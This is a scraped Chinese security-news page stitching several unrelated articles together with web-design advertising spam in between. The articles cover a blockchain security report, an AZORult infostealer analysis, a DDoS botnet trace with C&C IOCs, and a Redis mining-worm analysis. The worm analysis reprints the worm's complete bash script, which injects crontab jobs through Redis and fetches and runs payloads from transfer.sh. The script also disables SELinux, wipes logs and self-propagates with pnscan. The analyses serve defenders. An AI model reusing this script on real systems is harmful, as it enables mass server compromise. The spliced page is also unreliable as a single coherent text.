總體來說,區塊鏈技術和其安全性問題仍會持續很長一段時間,主要原因:其一,全新的解決方案會進一步加快區塊鏈的安全重建,創新技術和服務得到認可,進一步增強產業活力,提升技術價值;其二:隨着生產生活逐漸向数字化,網聯化和智能化轉型,許多全新的變革性技術(如區塊鏈)所打造的安全生態體系和技術將成為大勢所趨;其三,由新技術衍生的產品安全技術服務範疇更加寬泛,將會催生更加繁榮的安全服務市場。

最終,區塊鏈新興技術和產業的有機融合,必將在未來產生不可估量的價值。

六 關於我們

白帽匯安全研究院隸屬於北京華順信安科技有限公司。研究院擁有一支從事網絡安全研究的資深技術團隊,致力於網絡信息安全領域的深入探究,研究方向為網絡空間測繪、安全大數據、威脅情報、態勢感知、區塊鏈安全等前沿安全領域。

七 參考來源

[1] Block chain https://en.wikipedia.org/wiki/Blockchain

[2] Luu, L., Chu, D.H., Olickel, H., Saxena, P., Hobor, A.: Making smart contracts smarter. In: ACM CCS (2016).

[3] Quantum attacks on Bitcoin, and how to protect against them

[4] P2P https://en.wikipedia.org/wiki/P2P

[5] Eclipse Attacks on Bitcoin’s Peer-to-Peer Network

[6] Hijacking Bitcoin:Routing Attacks on Cryptocurrencies

[7] BGP hijacking https://en.wikipedia.org/wiki/BGP_hijacking

[8] Hijack-btc test code https://github.com/nsg-ethz/hijack-btc

[9] 雙重支付 https://baike.baidu.com/item/雙重支付

[10] 《The Bitcoin Lightning Network: Scalable Off-Chain Instant Payments》

[11] 房衛東等.信息安全學術報《區塊鏈的網絡安全威脅與對策》

[12] C. Lin and T. C. Liao, “A survey of blockchain security issues and challenges,” Int. J. Netw. Secur., vol. 19, no. 5, pp. 653–659, 2017.

[13] Atzei, N., Bartoletti, M., Cimoli, T.: A survey of attacks on Ethereum smart contracts.Cryptology ePrint Archive (2016).

[14] Hacking Blockchain https://www.rsaconference.com/writable/presentations/file_upload/fon4-t11_hacking_blockchain.pdf

[15] 0day漏洞 https://baike.baidu.com/item/0DAY%E6%BC%8F%E6%B4%9E

[16] Ethereum Smart Contract Security Best Practices

[17] A PoC of a Blockchain-based C&C https://github.com/i3visio/blockchain_c2c

[18] Smart Contract Best Practices,

  本文來自“白帽匯安全研究院”,原文鏈接:https://bcsec.org/ 

,
網站內容來源http://safe.it168.com/

【精選推薦文章】

如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

想要讓你的商品在網路上成為最夯、最多人討論的話題?

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師”嚨底家”!!

白帽匯安全研究院發布區塊鏈安全分析報告

針對信息竊取惡意軟件AZORult的相關分析

網站內容來源http://server.it168.com/

針對信息竊取惡意軟件AZORult的相關分析

2018-05-29 14:25    來源:安全客  作者: Gal Bitensky 編輯:
0購買

AZORult是一種信息竊取的惡意軟件,隨着時間的推移已經發展成為一種多層功能的軟件,我們知道達爾文的自然選擇進化理論已有150多年的歷史,但進化也可能由於人工選擇的結果(也稱為選擇性育種)。在我們的信息安全領域,同樣的生物學原理適用於惡意軟件的進化。攻擊者經常檢查他們攻擊性工具的具體特徵與其生存能力的相關性,並通過“基因工程”惡意軟件來改善其功能。在接下來的文章中,我們將介紹一個信息竊取惡意軟件的特性。每一層隱藏的功能的都是其“飼養者”精心挑選的,以提高其在野外生存的可能性。

  分析攻擊

上周,我們阻止了一個客戶網站的攻擊。這是一個名為“Quotation Request – EP”的經典惡意郵件。它是從一家非洲能源公司的电子郵件帳戶發出的,它含有惡意附件。它是一個包含兩個文件的RAR存檔 – 一個文本文件和一個帶有DDE對象的Microsoft Word文檔。一旦打開,它會從受感染的網站下載一個MSI文件:

該文件是使用名為msi2exe工具從常規可執行文件創建的安裝程序,它將“普通”惡意Windows可執行文件作為安裝程序進行包裝。這隻是眾多隱藏這段惡意代碼手段的第一層。為了獲取和分析可執行文件,我將使用7-Zip提取它,將MSI作為歸檔文件打開:

在我們分析發現,罪魁禍首是名為Binary._D7D112F049BA1A655B5D9A1D0702DEE5的資源,這是一個包含在MSI中的正常Windows可執行文件。在使用PEStudio仔細查看文件時,我們發現情況並非如此:

事實證明,這是一個編譯的AutoIt腳本 – 另一層包裝實際的payload。用Exe2Aut可以將其反編譯可執行文件。但是,反編譯的腳本仍然是混淆的:

結果發現,混淆並不是太複雜,主要依賴於單個字符串混淆函數。我們寫了一個用於反混淆的Python腳本,可以點擊以下鏈接獲取:https://github.com/MinervaLabsResearch/BlogPosts/blob/master/ObfuscatedAutoItDecrypter/AutoIt_dec.py現在可以查看腳本並重命名變量:

看看這個混淆的腳本,現在很清楚看到,在AutoIt中運用了一個經典process hollowing技術:

惡意軟件創建原始進程的第二個暫停實例:

它分配可寫,可執行的內存:

該腳本將它希望執行的payload寫入遠程進程:

在攻擊的下一階段位於遠程進程的內存之後,惡意軟件將主線程的狀態設置為運行注入的代碼並恢復進程的執行:

注入的payload本身使用與字符串相同的例程進行混淆,因此在執行我們的反混淆腳本之後,可以直接觀察它:

第一對字節4D和5A是ASCII字符串MZ – Windows可執行文件開頭的魔術字符串。這是一個強有力的指示,表明注入的緩衝區是另一個payload(!),並且使用另一個Python腳本轉儲它,事實證明確實如此。儘管頭部分損壞,但仍有可能使用PEstudio仔細查看二進制文件。令人驚訝的是,事實證明,攻擊者並不認為到目前為止使用的所有不同技術都已足夠,所以又用UPX壓縮了文件,使其更加隱藏:

由於PE已損壞,因此無法自行執行,但無需這樣做。即使在UPX壓縮形式下,我們也發現了這樣一個事實的證據,即這是隱藏payload的最後一層,並沒有修復它的結構。使用十六進制編輯器觀察文件显示了多個字符串,表明其目標是竊取存儲在瀏覽器中的密碼:

快速Google搜索驗證了這是用於竊取存儲在Google Chrome中的憑據的常見SQL查詢的一部分:

嗅嗅惡意軟件的網絡活動證明了惡意軟件的功能,因為它首先向C2服務器發出指令,然後接收到竊取密碼的指令並將其發送回去

在更深入的探索之後,研究團隊追蹤了一位創造幾乎相同paylaod的作者。這使我們能夠將注入的payload作為非損壞的二進制文件,驗證我們的分析結論。例如,現在我們能夠觀察到相同的SQL查詢,以提取存儲在Google Chrome中的密碼以及其他類似的技術:

正如我們的友好惡意軟件研究社區指出的那樣,這個payload最終被證明是AZORult——一個眾所周知的竊取信息的惡意軟件,它至少從2016年開始在不同的論壇上出售。

實踐中的人工選擇

這個活動中包裝的AZORult惡意軟件採用了六種技術來逃避檢測,展示了它的創建者如何通過反覆嘗試和錯誤的方式選擇“繁殖”它們:

  使用RAR歸檔

該文件在發送時作為壓縮文件存檔進行打包,試圖克服對“危險”文件類型附件的靜態掃描和限制。

  多個圖層

使用多個圖層隱藏最終的信息竊取功能可能會欺騙一些安全產品,使其看起來不夠“deep enough”,而其他安全產品則無法理解每個圖層的上下文。

 使用MSI文件來釋放payload

令人驚訝的是,許多機器學習防病毒解決方案忽略了這種文件類型。但是,有些供應商在後期檢測到該文件,因為二進制payload被保存到臨時文件夾中,但在其他情況下,它可能不那麼簡單並且可能會被忽略。

  AutoIt

使用非常規腳本語言進行模糊處理和編譯,會生成一個二進制文件,與傳統的C C ++可執行文件明顯不同。在文件中尋找模式的產品本身會發現更難以檢測到惡意軟件。

  注入代碼

這種惡意軟件會在內存中解密其有效內容,並且僅在使用了幾層迷惑技巧之後。

  DDE

攻擊者不再依賴舊的VBA宏,而是利用了DDE的“feature” ——允許他們將有效載荷嵌入不太可疑的docx格式,因為宏只能以doc或docm格式使用。

我們能夠追蹤之前的嘗試,從相同的參與者展示他們經過的人工選擇過程,提煉他們最新的最終倖存者。例如,早期的變體選擇了SCR擴展而不是MSI。在另一種情況下,交付機制是不同的,並且依賴於一個鏈接來直接從受損的網站下載受感染的docx文件。

  IOC

  URLs

  hxxp://ipool[.]by/bitrix/css/8/DOC71574662-QUOTATION[.]doc

  hxxp://ipool[.]by/bitrix/css/8/aksu[.]msi

  hxxp://www[.]sckm[.]Krakow[.]pl/aksu[.]msi

  hxxp://aksuperstore[.]com/fh8nzhme/gate[.]php

  Files (SHA-256)Analyzed DDE docx:

  ac342e80cbdff7680b5b7790cc799e2f05be60e241c23b95262383fd694f5a7a

  Analyzed MSI Installer:

  e7a842f67813a47bece678a1a5848b4722f737498303fafc7786de9a81d53d06

  Unzipped executable:

  717db128de25eec80523b36bfaf506f5421b0072795f518177a5e84d1dde2ef7

  Decompiled obfuscated AutoIt:

  31f807ddfc479e40d4d646ff859d05ab29848d21dee021fa7b8523d2d9de5edd

  Deobfuscated AutoIt:

  b074be8b1078c66106844b6363ff19226a6f94ce0d1d4dd55077cc30dd7819c5

  Similar DDE document downloaded directly from a compromised website:

  dc3fac021fae581bf086db6b49f698f0adc80ebe7ca7a28e80c785673065a127

  The builder (Trojanized):

  329030c400932d06642f9dbc5be71c59588f02d27d9f3823afa75df93407027b

  Similar MSI installers:

  efa6af034648f8e08098ea56445ccab1af67376ca45723735602f9bdd59e5b5d

  9d7a10fa3e5fd2250e717d359fcff881d9591e0fe17795bab7aac747e8514247

  dc3fac021fae581bf086db6b49f698f0adc80ebe7ca7a28e80c785673065a127 

網站內容來源http://safe.it168.com/

【精選推薦文章】

自行創業 缺乏曝光? 下一步”網站設計“幫您第一時間規劃公司的門面形象

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包”嚨底家”

針對信息竊取惡意軟件AZORult的相關分析

一起涉及多個DDoS殭屍網絡樣本攻擊事件追蹤

網站內容來源http://server.it168.com/

一起涉及多個DDoS殭屍網絡樣本攻擊事件追蹤

2018-05-29 14:45    來源:FreeBuf.COM  作者: 任子行 編輯:
0購買

  一.背景

近期蜜網系統監測到一起涉及利用多個殭屍木馬傳播進行DDoS攻擊的安全事件。木馬樣本涉及Windows與Linux兩個平台,通過對樣本的分析,發現這幾個樣本編寫風格都不一樣,但是硬編碼在程序中的C&C均指向同一個IP地址。推測這一系列木馬的傳播者通過購買不同的DDoS木馬進行傳播,從而構建自己的殭屍網絡進行DDoS攻擊牟利。其中有兩個樣本所屬家族為XorDDoS和ChinaZ。最後通過一系列的分析,將該威脅定性為小黑客組建殭屍網絡進行DDoS攻擊事件,同時追蹤到了惡意代碼傳播者的個人信息,包括姓名、QQ號碼、手機號、郵箱、微信等。

  二.相關樣本分析

2.1樣本一分析:

2.1.1樣本基本信息

2.1.2樣本行為

該樣本首先會執行安裝邏輯,包括拷貝自身到Windows目錄,然後將自身註冊為服務,最後自刪除自己,安裝完成。接着註冊為服務的木馬會開始進入功能邏輯,通過爆破局域網來感染傳播,與C&C建立通訊后,等待C&C下髮指令。

2.1.3樣本詳細分析

(1)整體邏輯

(2)拷貝到Windows目錄

生成6個字符的隨機進程名拷貝到Windows目錄

(3)創建服務

服務名:Abcdef Hijklmno Qrstuvwx Abcd

服務描述:Abcdefgh Jklmnopqr Tuvwxya Cdefghij Lmn

自啟動

(4)自刪除

構建“/c del C:\Users\xxx\Desktop\gy.exe > nul”參數,使用ShellExecuteExA創建刪除自身的進程。

(5)從資源釋放hra33.dll並加載

從資源釋放文件在文件頭加上PE文件頭兩個字節“MZ”。

從釋放的文件更新當前木馬服務中的資源

(6)爆破感染局域網

內置字典

爆破成功後會拷貝自身到admin$\\、C:、D:、E:以及F:等路徑下,並創建計劃任務,2分鐘后執行。

(7)遠控功能部分

與C&C建立通訊

解密出C&C地址為web.liancanmou.xyz:6006

發送上線信息

遠程下載執行

更新

使用iexplorer打開指定網頁

卸載

DDoS攻擊模塊

2.1.4 關聯分析

該IP對應的位置在新鄉電信機房,訪問http://123.160.10.16:3097/gy.exe下載樣本。

通過VT Graph關聯分析該樣本早在2018-05-08已經被發現了,與本次捕獲到的樣本分析結果是一致的。

2.2樣本二分析:

2.2.1樣本基本信息

2.2.2樣本行為

該樣本代碼編寫十分簡單,獲取本地信息回傳CNC上線,等待CNC的DDoS指令。

2.2.3樣本詳細分析

(1)整體邏輯

(2)與C2建立通訊

創建連接套接字

C&C地址為 jch.liancanmou.xyz:52527

木馬通訊協議

(3)DDoS功能

並沒有用到反射放大攻擊,只是一般的flood攻擊。

2.2.4關聯分析

通過VT分析發現該樣本與a.lq4444.com這個域名相關,而該域名曾用於Linux/Elknot這個家族。通過VT显示,a.lq4444.com這個域名與9個樣本相關。

2.3樣本三分析

樣本三與樣本二代碼是一樣的,區別是樣本三被編譯為x86架構,樣本二被編譯為x64架構。

2.4樣本四分析:

2.4.1樣本基本信息

2.4.2樣本行為

(1)該樣本通過SSH爆破被拷貝到/tmp目錄下並開始運行

(2)將自身註冊為服務

(3)拷貝自身到其他目錄

(4)設置定時任務

(5)修改刷新iptables后,嘗試連接到遠程主機。

(6)它會刪除/etc/resolv.conf並保存初始安裝和下載的配置數據(Config.ini)

(7)通過發送用戶名信息連接到C&C,作為一個bot與C&C建立通訊

(8)C&C主要發送帶目標IP地址作為參數的DDoS命令到bot機器進行DDoS攻擊

VT行為分析:

2.4.3樣本詳細分析

寫入腳本到/etc/init.d/%s/與/etc/rc%d.d/S90%s路徑下

設置定時任務

控制網卡接口

以.chinaz為前綴拷貝自身到/tmp/目錄下

安裝完成後會重啟計算機

DDoS相關的一些指紋,其中包含一個QQ號碼:2900570290

  三.事件分析

3.1事件關聯分析

以liancanmou.xyz這個域名為起點,結合樣本分析與VT Graph關聯分析形成以下關聯圖,可以確定123.160.10.16、180.97.220.35以及123.249.9.157這三個IP是用於作為木馬的CNC地址以及木馬分發地址。在2018年5月24日域名liancanmou.xyz從指向123.249.9.157被換位指向180.97.220.35這個IP。

PassiveDNS相關信息

3.2事件溯源

3.2.1域名註冊信息

3.2.2個人信息

  四.IoCs

liancanmou.xyz

web.liancanmou.xyz

jch.liancanmou.xyz

wwt.liancanmou.xyz

wwv.liancanmou.xyz

www.liancanmou.xyz

http://180.97.220.35:3066/Linux4.7

http://123.160.10.16:3097/gy.exe

http://180.97.220.35:3066/33

http://180.97.220.35:3066/32

180.97.220.35

123.249.9.157

123.160.10.16

123.249.9.15

123.249.79.250

180.97.220.35

103.248.220.196

892833AB52DAA816918041670519EB6351AE7EC2DB7AF2C97F3AB5EE214DA173

4A2FB58342D549347D32E54C3DA466A19BFD66364825AC7F2257995356F09AFD

74D4776A76AD3BCB578C9757D9F18A6ADFFE8802C43E5E59B14C4E905664733D

DBC7FC7748BD201C54B2A0189396F3101C18127A715E480C8CB808F07137822A

,
網站內容來源http://safe.it168.com/

【精選推薦文章】

智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

帶您來看台北網站建置套版網頁設計台北網站改版設計台北RWD響應式網頁設計,各種案例分享

廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

一起涉及多個DDoS殭屍網絡樣本攻擊事件追蹤

Linux Redis自動化挖礦感染蠕蟲分析及建議

網站內容來源http://server.it168.com/

Linux Redis自動化挖礦感染蠕蟲分析及建議

2018-05-30 17:06    來源:安全客  作者: 雲鼎實驗室 Fooying 編輯:
0購買

  一、 背景

自從Redis未授權問題獲取Linux系統root權限的攻擊方法的披露后,由於其易用性,利用該問題入侵Linux服務進行挖礦、掃描等的黑客行為一直層出不窮;而在眾多利用該問題入侵服務器進行黑產行為的案例中,其中就存在一類利用該問題進行挖礦並且會利用pnscan自動掃描感染其他機器;該類攻擊一直存在,不過在近期又呈現數量增加的趨勢,在最近捕獲到多次,我們針對其做下具體的分析。

  二、 漏洞說明

首先針對利用的漏洞做個說明,Redis 默認情況下,會綁定在 0.0.0.0:6379,在沒有利用防火牆進行屏蔽的情況下,將會將Redis服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。攻擊者在未授權訪問Redis的情況下利用Redis的相關方法,可以成功將自己的公鑰寫入目標服務器的 ~/.ssh 文件夾的authotrized_keys 文件中,進而可以直接登錄目標服務器;如果Redis服務是以root權限啟動,可以利用該問題直接獲得服務器root權限。相關漏洞詳情可以參考:

https://www.seebug.org/vuldb/ssvid-89715

以下為漏洞利用演示(上傳不了視頻,播放地址:https://v.qq.com/x/page/u0661b9o772.html):

經過在ZoomEye和SHODAN檢索,可以發現分別眾多Redis服務開放在公網上,這些服務都可能成為攻擊目標。

  三、 入侵分析

經過對捕獲的事件進行分析,我們發現整個入侵流程大概是包含以下幾個環節:1、掃描開放6379端口的Linux服務器(後續感染掃描網段為1.0.0.0/16到224.255.0.0/16)

2、通過redis-cli嘗試連接Redis並執行預置在.dat文件里的利用命令將Redis的數據文件修改為/var/spool/cron/root,然後通過在Redis中插入數據,將下載執行腳本的動作寫入crontab任務

3、通過腳本實現以上的相關行為,完成植入並啟動挖礦程序

4、再編譯安裝pnscan,繼續掃描感染下一個目標

 四、 腳本分析

整個入侵利用以及後續的感染的實現,最主要的功能都是基於通過Redis問題寫入crontab任務中下載執行的NaNd腳本(https://transfer.sh/MIpIA/tmp.9kIguIhkI7)來實現的,通過對它的分析,我們基本能夠得到整個流程的所有細節,這是一個base腳本,我們通過解讀來分析下它的相關功能。

1. sleep 1

2. find . -maxdepth 1 -name “.mxff0” -type f -mmin +60 -delete

3. [ -f .mxff0 ] && exit 0

4. echo 0 > .mxff0

這部分代碼只要是用作重複執行的判斷,將.mxff0文件作為標記文件,如果存在該文件則代表機器上已執行腳本,直接退出,否則寫.mxff0文件並進行下一步動作;

5. trap “rm -rf .m* NaNd tmp.* .r .dat $0” EXIT

設置預置動作,在腳本退出后刪除相關文件和腳本自身;

6. setenforce 0 2>/dev/null

7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

8. crontab -r 2>/dev/null

9. rm -rf /var/spool/cron 2>/dev/null

10. grep -q 8.8.8.8 /etc/resolv.conf || echo “nameserver 8.8.8.8” >> /etc/resolv.conf

11. rm -rf /tmp/* 2>/dev/null

12. rm -rf /var/tmp/* 2>/dev/null

13. rm -rf /etc/root.sh 2>/dev/null

14. sync && echo 3 > /proc/sys/vm/drop_caches

15. cat <<EOF> /etc/security/limits.conf

16. * hard nofile 100000

17. * soft nofile 100000

18. root hard nofile 100000

19. root soft nofile 100000

20. * hard nproc 100000

21. * soft nproc 100000

22. root hard nproc 100000

23. root soft nproc 100000

24. EOF

這部分主要是修改系統的配置,6、7行為關閉SELINU;

然後清空/var/spool/cron,進而判斷系統DNS服務器是否存在8.8.8.8,沒有則添加;

11-13則清空系統tmp目錄和刪除相關文件;

14行清空系統緩存,而15-24則是修改系統的資源限制;

25. iptables -I INPUT 1 -p tcp –dport 6379 -j DROP

26. iptables -I INPUT 1 -p tcp –dport 6379 -s 127.0.0.1 -j ACCEPT

27. ps xf | grep -v grep | grep “redis-server|nicehash|linuxs|linuxl|crawler.weibo|243/44444|cryptonight|stratum|gpg-daemon|jobs.flu.cc|nmap|cranberry|start.sh|watch.sh|krun.sh|killTop.sh|cpuminer|/60009|ssh_deny.sh|clean.sh|./over|mrx1|redisscan|ebscan|redis-cli|barad_agent|.sr0|clay|udevs|.sshd|/tmp/init” | while read pid _; do kill -9 “$pid”; done

這裏再進一步的增加iptables限制6379端口只允許本地訪問,同時kill相關包含挖礦、redis客戶端、爬蟲等進程,這裏的目的也比較簡單,避免被其他黑客再次入侵,同時清除可能其他黑客入侵啟動的進程;

28. rm -rf /tmp/* 2>/dev/null

29. rm -rf /var/tmp/* 2>/dev/null

30. echo 0 > /var/spool/mail/root

31. echo 0 > /var/log/wtmp

32. echo 0 > /var/log/secure

33. echo 0 > /root/.bash_history

清除相關登錄日誌、命令操作歷史;

34. YUM_PACKAGE_NAME=”iptables gcc redis coreutils bash curl wget”

35. DEB_PACKAGE_NAME=”coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl”

36. if cat /etc/*release | grep -i CentOS; then

37. yum clean all

38. yum install -y -q epel-release

39. yum install -y -q $YUM_PACKAGE_NAME

40. elif cat /etc/*release | grep -qi Red; then

41. yum clean all

42. yum install -y -q epel-release

43. yum install -y -q $YUM_PACKAGE_NAME

44. elif cat /etc/*release | grep -qi Fedora; then

45. yum clean all

46. yum install -y -q epel-release

47. yum install -y -q $YUM_PACKAGE_NAME

48. elif cat /etc/*release | grep -qi Ubuntu; then

49. export DEBIAN_FRONTEND=noninteractive

50. rm -rf /var/lib/apt/lists/*

51. apt-get update -q –fix-missing

52. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

53. elif cat /etc/*release | grep -qi Debian; then

54. export DEBIAN_FRONTEND=noninteractive

55. rm -rf /var/lib/apt/lists/*

56. apt-get update –fix-missing

57. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

58. elif cat /etc/*release | grep -qi Mint; then

59. export DEBIAN_FRONTEND=noninteractive

60. rm -rf /var/lib/apt/lists/*

61. apt-get update –fix-missing

62. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

63. elif cat /etc/*release | grep -qi Knoppix; then

64. export DEBIAN_FRONTEND=noninteractive

65. rm -rf /var/lib/apt/lists/*

66. apt-get update –fix-missing

67. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

68. else

69. exit 1

70. fi

71. sleep 1

72. if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then

73. curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12

74. sleep 1

75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112

76. fi

這一長串的內容主要目的是下載並編譯安裝pnscan,從內容中我們可以看到對於不同操作系統的判斷然後安裝依賴的相關模塊,然後才是從github下載pnscan的源碼進行編譯安裝;至於為什麼採用編譯安裝的形式,猜測是出於兼容不同系統以及每次編譯生成的pnscan的MD5都不一樣,避免形成固定特徵;

77. tname=$( mktemp )

78. OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZge

79. curl -s $OMURL > $tname || wget -q -O $tname $OMURL

80. NMURL=$( curl -s –upload-file $tname https://transfer.sh )

81. mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg

這部分主要是下載挖礦程序並重命名為.gpg,增加執行權限,執行后刪除,同時重新上傳到https://transfer.sh/ 獲取新的鏈接;

82. [ -z “$NMURL” ] && NMURL=$OMURL

83. ncmd=$(basename $(mktemp))

84. sed ‘s|’”$OMURL”‘|’”$NMURL”‘|g’ < NaNd > $ncmd

85. NSURL=$( curl -s –upload-file $ncmd https://transfer.sh )

86. echo ‘flushall’ > .dat

87. echo ‘config set dir /var/spool/cron’ >> .dat

88. echo ‘config set dbfilename root’ >> .dat

89. echo ‘set Backup1 “tn*/2 * * * * curl -s ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

90. echo ‘set Backup2 “tn*/5 * * * * wget -O NaNd ‘${NSURL}’ && bash NaNdnt”‘ >> .dat

91. echo ‘set Backup3 “tn*/10 * * * * lynx -source ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

92. echo ‘save’ >> .dat

93. echo ‘config set dir /var/spool/cron/crontabs’ >> .dat

94. echo ‘save’ >> .dat

95. echo ‘exit’ >> .dat

而這部分內容主要是生成新的.dat文件,包含將原來NaNd腳本里的里挖礦程序的下載地址替換為上一步上傳到https://transfer.sh/ 得到的新地址,還有Redis利用的相關語句;

96. pnx=pnscan

97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan

98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan

99. for x in $( seq 1 224 | sort -R ); do

100. for y in $( seq 0 255 | sort -R ); do

101. $pnx -t512 -R ‘6f 73 3a 4c 69 6e 75 78’ -W ‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a’ $x.$y.0.0/16 6379 > .r.$x.$y.o

102. awk ‘/Linux/ {print $1, $3}’ .r.$x.$y.o > .r.$x.$y.l

103. while read -r h p; do

104. cat .dat | redis-cli -h $h -p $p –raw &

105. done < .r.$x.$y.l

106. done

107. done

而步主要是調用pnscan去掃描子網段1.0.0.0/16到224.255.0.0/16中開放6379端口並且操作系統為Linux的目標,然後利用redis-cli執行.dat中的命令,進行下個目標的感染;這裏pnscan的-W參數值‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a’轉換后內容‘*1rn$4rnINFOrn’,是向目標Redis服務發送請求獲取Redis服務器的各種信息和統計數值,再通過-R參數值‘6f 73 3a 4c 69 6e 75 78′(轉換后內容為os:Linux)判斷是否Linux系統。

108. echo 0 > /var/spool/mail/root 2>/dev/null

109. echo 0 > /var/log/wtmp 2>/dev/null

110. echo 0 > /var/log/secure 2>/dev/null

111. echo 0 > /root/.bash_history 2>/dev/null

112. exit 0

最後就是收尾工作,清除相關日誌和命令執行歷史,同時在腳本退出的時候會觸髮腳本一開始用trap預置的動作,會做刪除操作,刪除相關文件和腳本自身(rm -rf m* NaNd tmp.* .r .dat $0)。

通過對腳本的解讀,我們基本已經清楚整個蠕蟲的行為和入侵流程,也就是我們開始所描述的流程。

另外,通過閱讀腳本,我們發現雖然整個入侵流程並不是多複雜,但腳本其實有很多”工程化”的細節考慮,不得不讓人驚嘆入侵者的”考慮周到”:

1、 利用.mxff0文件做重複執行檢驗,避免腳本的重複執行

2、 為了增加成功性,一些環境的預處理:

a) 關閉SELINUX

b) 增加8.8.8.8的DNS

c) 清空tmp目錄

d) 清空系統緩存

e) 修改系統資源限制

3、 痕迹清除

a) 利用trap預置動作好在腳本執行完成后刪除相關文件和腳本自身

b) 重複清除相關登錄等日誌和命令執行歷史

4、 同行預防

a) 利用iptables避免Redis服務開放在公網上從而導致再次被入侵

b) 清除同行可能遺留的入侵行為,kill相關進程

5、 系統兼容性

a) 判斷操作系統,針對性的執行相關命令,安裝依賴包,最大限度的提高pnscan編譯安裝的成功率

b) 關閉SELINUX,通過setenforce和修改/etc/sysconfig/selinux兩種手段實現

c) 寫入Crontab里的下載並執行腳本的任務,通過curl、wget、lynx三種方式實現

d) Pnscan掃描增加操作系統判斷,減少沒有必要的感染嘗試

6、 特徵去除,存活延續

a) Pnscan採用安裝編譯的方式,既提高在不同系統下的兼容性,也避免形成固定的MD5特徵

b) 利用https://transfer.sh 中轉,每一次感染均生成新的連接,避免固定鏈接形成固定特徵

c) 下載到系統的相關文件均採用隨機生成的文件名

正是由於入侵者種種的”考慮周到”使得他的入侵感染的成功率能夠達到的一定的層度。

五、 安全建議

病毒清理和系統恢復

我們主要參考腳本的相關行為進行對應的行為恢復和刪除即可:

1、 關閉SELINUX,根據系統原環境和業務需要重新開啟SELINUX

2、 清空了/var/spool/cron,根據原先備份清空恢復

3、 修改/etc/resolv.conf增加DNS服務8.8.8.8,如無影響可不處理,或者刪除

4、 修改了系統資源限制(/etc/security/limits.conf),可根據備份情況恢復

5、 增加了對6379端口的Iptables規則,如果不影響業務,建議保留

6、 Kill了相關進程,檢查是否包含業務所需進程,根據情況恢復

7、 安裝了相關包,具體列表見上文,可根據情況刪除或者如無影響可保留

8、 編譯安裝了pnscan,可刪除/usr/local/bin/pnscan

9、 清除了相關日誌和tmp目錄,對系統無影響,可忽略

10、 啟動了挖礦進程和pnscan掃描感染,進程:.gpg、pnscan,直接kill

還包含了一些中間文件,雖然腳本包含相關刪除操作,但建議還是全局查找確認:.mxff0、.x112、.gpg、.dat、NaNd、.r.xx.xx.o/l、tmp.xxxx

Redis服務加固

1、 如無必要,修改bind項,不要將Redis綁定在0.0.0.0上,避免Redis服務開放在外網,可以通過iptables或者騰訊雲用戶可以通過安全組限制訪問來源

2、 在不影響業務的情況,不要以root啟動Redis服務,同時建議修改默認的6379端口,大部分針對Redis未授權問題的入侵都是針對默認端口進行的

3、 配置AUTH,增加密碼校驗,這樣即使開放在公網上,如果非弱口令的情況,黑客也無法訪問Redis服務進行相關操作

4、 使用rename-command CONFIG “RENAME_CONFIG”重命名相關命令,這樣黑客即使在連接上未授權問題的Redis服務,在不知道命令的情況下只能獲取相關數據,而無法進一步利用

  六、 附錄

IOCs

1. 腳本 https://transfer.sh/MIpIA/tmp.9kIguIhkI7

2. 挖礦程序 2918ee2b69bc4e6b581c7b25f08434fe

3. 礦池域名 http://jb.chakpools.com/

4. 相關文件名 .mxff0、.x112、.gpg、.dat、NaNd、.r.xx.xx.o/l、tmp.xxxx

  鏈接

1. 樣本 https://www.virustotal.com/#/file/9756e66c168ec963c58b3d0ca5483927c14a64a99ba718fa9488a52d4d207ed6

2. Pnscan項目地址 https://github.com/ptrrkssn/pnscan

3. 漏洞說明 https://www.seebug.org/vuldb/ssvid-89715

4. 漏洞利用演示 https://v.qq.com/x/page/u0661b9o772.html

5、雲鏡產品官網 https://cloud.tencent.com/product/hs

網站內容來源http://safe.it168.com/

【精選推薦文章】

如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

想要讓你的商品在網路上成為最夯、最多人討論的話題?

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師”嚨底家”!!

Linux Redis自動化挖礦感染蠕蟲分析及建議

黑客是如何利用你的瀏覽器進行挖礦的?

網站內容來源http://server.it168.com/

黑客是如何利用你的瀏覽器進行挖礦的?

